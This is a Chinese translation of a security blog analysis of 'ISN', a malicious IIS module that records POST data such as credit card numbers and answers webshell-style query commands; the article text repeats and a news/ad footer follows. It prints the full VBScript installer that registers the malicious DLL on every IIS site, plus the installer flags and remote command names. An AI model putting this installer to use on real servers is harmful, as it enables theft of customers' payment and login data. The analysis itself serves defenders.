恶意软件伪装成IIS模块加载,多数防毒产品免杀
1、摘要
最近,国外安全公司发现了一些以DLL动态链接库形式存在的IIS模块存在恶意风险,这些恶意模块之所以受关注,很大原因是因为它们能躲过目前几乎所有的反病毒产品,攻击者借助这些模块发送恶意POST数据包,并遵循恰当的机制以此来获得敏感信息。 这种恶意程序的目标不仅仅局限于银行、电子商务网站的加密数据,同时还被用来获取例如登录账户及其他被发送到IIS实例上的数据(HTTP Header、MS-Chap令牌等)。同时要注意的是,这次发现的恶意软件漏洞和之前报告的恶意软件"Pony"没有任何关系。Pony主要针对的是终端用户,而这个IIS Module恶意程序主要是针对Web Server的。以下为报告译文: 下面是这次发现的恶意程序在各大反病毒引擎上的检查结果: https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/ 事实证明,我所引用的这个DLL是一个IIS的原生安装模块,我想也该是时候对这种恶意程序进行一个总结了,之所以这么做,有以下2个原因: a)在我写这篇文章的时候,大部分的反病毒软件都不会IIS目录下的DLL模块进行必要的检查(通过设置白名单等),这导致了IIS的重要模块被替换后无法被杀毒软件捕获到异常。虽然病毒的安装程序(用于进行替换工作的程序)也只是被少数的反病毒软件检测出异常,因为这些检测出异常的杀毒引擎大多数采取了"启发式扫描"; b)我觉得这个恶意代码非常的精巧。 2、介绍
让我们先看一下这个病毒的安装程序。程序允许带许多参数变量以适应不同的环境:
如下我们可以看到,我已经创建了一个简单的web表单,将模拟一个实际的电子商务网站。用户输入他们的名字和信用卡号码和提交信息,然后脚本"/buy.aspx"返回用户输入的数据。 在本次演示中,我设置一个自签名证书(self-signed certificate ),这样所有的HTTP交互都通过SSL通信。 现在,所有的正常的HTTP业务通信都先和我们的恶意程序进行了交互,这里要注意的,我们必须在配置文件中明确指明我们要"跟踪"的脚本文件(例如,buy.aspx)。这样,当指定的.aspx脚本产生HTTP通信时,ISN.EXE会自动对捕获到的数据进行记录 我前面提到的,这个恶意程序可以像webshell那样工作,原因是因为它同时监测QUERY_STRING参数并对其中包含的"特征字符串"进行匹配检索。具体地说,它将寻找以下命令:
总的来说,这个恶意软件似乎没有广泛传播,只有在一些个人的案例中出现。然而,极低的检出率与恶意软件的目标功能的结合使这中恶意程序成为一个非常现实的威胁。 Trustwave WebDefend和ModSecurity可用于在"感染路径"的起点阻止这个恶意程序,它们可以检测是否敏感的用户数据,如信用卡号码出现在出站数据中(outbound data)。ModSecurity的链式过滤规则可以很好的对付这个问题,保证数据从入站到出站每一个环节的安全。 5. 引用
isn.exe http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm HASP.EXE http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339 installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/ VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/ IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/ IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/ IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/ IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/ Content of VBS File – https://gist.github.com/jgrunzweig/7840987
最近,国外安全公司发现了一些以DLL动态链接库形式存在的IIS模块存在恶意风险,这些恶意模块之所以受关注,很大原因是因为它们能躲过目前几乎所有的反病毒产品,攻击者借助这些模块发送恶意POST数据包,并遵循恰当的机制以此来获得敏感信息。 这种恶意程序的目标不仅仅局限于银行、电子商务网站的加密数据,同时还被用来获取例如登录账户及其他被发送到IIS实例上的数据(HTTP Header、MS-Chap令牌等)。同时要注意的是,这次发现的恶意软件漏洞和之前报告的恶意软件"Pony"没有任何关系。Pony主要针对的是终端用户,而这个IIS Module恶意程序主要是针对Web Server的。以下为报告译文: 下面是这次发现的恶意程序在各大反病毒引擎上的检查结果: https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/ 事实证明,我所引用的这个DLL是一个IIS的原生安装模块,我想也该是时候对这种恶意程序进行一个总结了,之所以这么做,有以下2个原因: a)在我写这篇文章的时候,大部分的反病毒软件都不会IIS目录下的DLL模块进行必要的检查(通过设置白名单等),这导致了IIS的重要模块被替换后无法被杀毒软件捕获到异常。虽然病毒的安装程序(用于进行替换工作的程序)也只是被少数的反病毒软件检测出异常,因为这些检测出异常的杀毒引擎大多数采取了"启发式扫描"; b)我觉得这个恶意代码非常的精巧。 2、介绍
让我们先看一下这个病毒的安装程序。程序允许带许多参数变量以适应不同的环境:
-path : [恶意程序将被安装的路径] -i : [目标URL地址, 例如 "/sensitive.aspx" -u : [卸载恶意程序] -is632 : [IIS6 32-Bit] -is664 : [IIS6 64-Bit]事实上,安装程序非常简单。它包含有四个内嵌的式DLL文件(在PE结构的资源节区中),在安装的时候根据目标系统的版本进行动态选择:
IIS6 + 32-Bit IIS6 + 64-Bit IIS7 + 32-Bit IIS7 + 64-Bit此外,这个ISN恶意程序也有一个VBS文件被嵌入到了PE的资源节区中(文件的内容请参考引用部分),这个VBS脚本文件用于安装或者卸载用于替换IIS模块的恶意DLL文件(即上面说到那4个DLL文件)。 一旦运行,ISN.exe将执行以下操作:
1. 将根据我们"-path"指定的位置,或者当前的工作目录。把VBS复制到这个路径下,为后面的安装做准备,这个VBS文件将在安装完成 删除,不会留下痕迹。 2. 创建一个配置文件([文件].cfg)在同一个目录中。这个文件包含一个列表 3. 恶意程序的目标URL列表。 4. 检查IIS版本以及攻击目标的操作系统架构。 5. 提取相应的DLL到安装目录(从PE的资源节区中)。 6. 调用VBS文件文件将恶意的DLL模块安装为IIS的模块。(IIS只是通过DLL的文件名进行动态加载,即使这是一个恶意程序, DLL签名技术在这里并不能起到防御作用)。解压运行后的情况如下图: 在安装的过程中会产生一些日志信息,这些信息有助于我们判断安装是否成功以及失败的原因: 一旦成功安装的模块,它将监控在配置文件(isn.cfg)中指定的uri和dump(记录)任何捕获到的POST请求,将这些信息记录到[fileName].log中。该模块还将监控QUERY_STRING参数(IIS中的GPC参数,相当于PHP中的$_REQUEST),并可以接受一些攻击者发送的命令(就像一个webshell一样)。我编写了一个简单的IIS实例来演示这个过程如何发生。 3. 演示
如下我们可以看到,我已经创建了一个简单的web表单,将模拟一个实际的电子商务网站。用户输入他们的名字和信用卡号码和提交信息,然后脚本"/buy.aspx"返回用户输入的数据。 在本次演示中,我设置一个自签名证书(self-signed certificate ),这样所有的HTTP交互都通过SSL通信。 现在,所有的正常的HTTP业务通信都先和我们的恶意程序进行了交互,这里要注意的,我们必须在配置文件中明确指明我们要"跟踪"的脚本文件(例如,buy.aspx)。这样,当指定的.aspx脚本产生HTTP通信时,ISN.EXE会自动对捕获到的数据进行记录 我前面提到的,这个恶意程序可以像webshell那样工作,原因是因为它同时监测QUERY_STRING参数并对其中包含的"特征字符串"进行匹配检索。具体地说,它将寻找以下命令:
1. isn_getlog——的内容并返回。日志文件 2. isn_logdel——删除并。日志文件 3. isn_logpath——返回的路径并。日志文件这些命令可以简单地通过提供GET参数进行远程发送。 "isn_getlog" example: "isn_logdel" example: "isn_logpath" example: 4. 总结
总的来说,这个恶意软件似乎没有广泛传播,只有在一些个人的案例中出现。然而,极低的检出率与恶意软件的目标功能的结合使这中恶意程序成为一个非常现实的威胁。 Trustwave WebDefend和ModSecurity可用于在"感染路径"的起点阻止这个恶意程序,它们可以检测是否敏感的用户数据,如信用卡号码出现在出站数据中(outbound data)。ModSecurity的链式过滤规则可以很好的对付这个问题,保证数据从入站到出站每一个环节的安全。 5. 引用
isn.exe http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm HASP.EXE http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339 installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/ VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/ IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/ IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/ IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/ IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/ Content of VBS File – https://gist.github.com/jgrunzweig/7840987
OPTION EXPLICIT DIM CRLF, TAB DIM strServer DIM objWebService DIM WebSvcObj dim webID dim DllName dim strScriptMap dim objVDir dim arrScriptMaps dim arrScriptMapsTmp dim ISAPIlist dim bAdd dim bRemove dim i dim j dim cc TAB = CHR( 9 ) CRLF = CHR( 13 ) & CHR( 10 ) ISAPIlist = 0 bAdd = 0 bRemove = 0 cc = 0 If Wscript.Arguments.Count < 2 Then If Wscript.Arguments.Count = 0 Then Wscript.Echo "cscript isn.vbs /add <Path\FileName> - add to all web sites" Wscript.Echo "cscript isn.vbs /remove <FileName> - remove from all web sites" Wscript.Echo "cscript isn.vbs /isapilist <ID> - list ISAPI for web site <ID>" Wscript.Echo "cscript isn.vbs /weblist - list web sites" Wscript.Echo "Example:" Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll" Wscript.Echo "cscript isn.vbs /remove isn.dll" Wscript.Quit Else If Wscript.Arguments(0)="/weblist" Then 'list web sites id and names SET objWebService = GetObject( "IIS://localhost/W3SVC" ) EnumWebsites(objWebService) Wscript.Quit Else Wscript.Echo "wrong param" Wscript.Quit End If End If Else If Wscript.Arguments(0)="/isapilist" Then webID = Wscript.Arguments(1) ISAPIlist = 1 ElseIf Wscript.Arguments(0)="/add" Then bAdd = 1 DllName = Wscript.Arguments(1) ElseIf Wscript.Arguments(0)="/remove" Then bRemove = 1 DllName = Wscript.Arguments(1) End If End If If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then Wscript.Echo "Wrong params!" Wscript.Quit End If If bAdd=1 Then SET objWebService = GetObject( "IIS://localhost/W3SVC" ) strScriptMap = "*,"+DllName+",4,All" AddToWebsites(objWebService) Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC") WebSvcObj.EnableExtensionFile("*.dll") WebSvcObj.SetInfo End If If bRemove=1 Then SET objWebService = GetObject( "IIS://localhost/W3SVC" ) RemoveFromWebsites(objWebService) Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC") WebSvcObj.DisableExtensionFile("*.dll") WebSvcObj.SetInfo Wscript.Echo DllName + " deleted" End If If ISAPIlist=1 Then Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root") arrScriptMaps = objVDir.Get("ScriptMaps") For i = LBound(arrScriptMaps) to UBound(arrScriptMaps) Wscript.Echo arrScriptMaps(i) Next Wscript.Quit End If FUNCTION AddToWebsites( objWebService ) DIM objWebServer, strBindings FOR EACH objWebServer IN objWebService IF objWebserver.Class = "IIsWebServer" THEN Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root") arrScriptMaps = objVDir.Get("ScriptMaps") arrScriptMapsTmp = arrScriptMaps ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1) j = LBound(arrScriptMaps) arrScriptMaps(j) = strScriptMap j = 0 For i = 1 to UBound(arrScriptMaps) arrScriptMaps(i)=arrScriptMapsTmp(j) j = j+1 Next objVDir.Put "ScriptMaps", arrScriptMaps objVDir.SetInfo Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!" END IF NEXT END FUNCTION FUNCTION RemoveFromWebsites( objWebService ) DIM objWebServer, strBindings FOR EACH objWebServer IN objWebService IF objWebserver.Class = "IIsWebServer" THEN Do Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root") arrScriptMaps = objVDir.Get("ScriptMaps") arrScriptMapsTmp = arrScriptMaps cc=0 For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp) If InStr(arrScriptMapsTmp(i), DllName)>0 then arrScriptMapsTmp(i) = "" cc=cc+1 Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete" 'exit for 'exit loop End If Next If cc=0 Then Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found" Exit Do End If ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc) j = LBound(arrScriptMapsTmp) for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp) If arrScriptMapsTmp(i)<>"" Then arrScriptMaps(j)=arrScriptMapsTmp(i) j = j+1 End If Next objVDir.Put "ScriptMaps", arrScriptMaps objVDir.SetInfo Exit Do Loop While False END IF NEXT END FUNCTION FUNCTION EnumWebsites( objWebService ) DIM objWebServer, strBindings FOR EACH objWebServer IN objWebService IF objWebserver.Class = "IIsWebServer" THEN WScript.Echo _ "Site ID = " & objWebserver.Name & CRLF & _ "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _ "State = " & State2Desc( objWebserver.ServerState ) '& CRLF & _ '"LogDir = " & objWebServer.LogFileDirectory & _ '"" ' Enumerate the HTTP bindings (ServerBindings) and ' SSL bindings (SecureBindings) 'strBindings = EnumBindings( objWebServer.ServerBindings ) & _ ' EnumBindings( objWebServer.SecureBindings ) 'IF NOT strBindings = "" THEN ' WScript.Echo "IP Address" & TAB & _ ' "Port" & TAB & _ ' "Host" & CRLF & _ ' strBindings 'END IF END IF NEXT END FUNCTION FUNCTION EnumBindings( objBindingList ) DIM i, strIP, strPort, strHost DIM reBinding, reMatch, reMatches SET reBinding = NEW RegExp reBinding.Pattern = "([^:]*):([^:]*):(.*)" FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList ) ' objBindingList( i ) is a string looking like IP:Port:Host SET reMatches = reBinding.Execute( objBindingList( i ) ) FOR EACH reMatch IN reMatches strIP = reMatch.SubMatches( 0 ) strPort = reMatch.SubMatches( 1 ) strHost = reMatch.SubMatches( 2 ) ' Do some pretty processing IF strIP = "" THEN strIP = "All Unassigned" IF strHost = "" THEN strHost = "*" IF LEN( strIP ) < 8 THEN strIP = strIP & TAB EnumBindings = EnumBindings & _ strIP & TAB & _ strPort & TAB & _ strHost & TAB & _ "" NEXT EnumBindings = EnumBindings & CRLF NEXT END FUNCTION FUNCTION State2Desc( nState ) SELECT CASE nState CASE 1 State2Desc = "Starting (MD_SERVER_STATE_STARTING)" CASE 2 State2Desc = "Started (MD_SERVER_STATE_STARTED)" CASE 3 State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)" CASE 4 State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)" CASE 5 State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)" CASE 6 State2Desc = "Paused (MD_SERVER_STATE_PAUSED)" CASE 7 State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)" CASE ELSE State2Desc = "Unknown state" END SELECT END FUNCTION
The Curious Case of the Malicious IIS Module Reference From: http://blog.spiderlabs.com/2013/12/the-curious-case-of-the-malicious-iis-module.html Translated By: LittleHann如文中未特别声明转载请注明出自:FreebuF.COM
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平拉美之行的三个“一” 7953787
- 2 山里藏价值6000亿元黄金?村民发声 7996930
- 3 微信或史诗级“瘦身” 内存有救了 7819727
- 4 中国主张成为G20峰会的一抹亮色 7741318
- 5 朝鲜将军队提升至战斗准备状态 7692368
- 6 男子求助如何打开亡父遗留14年手机 7556152
- 7 浙大贫困生晒旅游照 民政局回应 7462711
- 8 黄晓明新片上映一周票房仅400万 7335712
- 9 男子抱3个小孩跳海?官方通报 7252698
- 10 千年古镇“因网而变、因数而兴” 7127711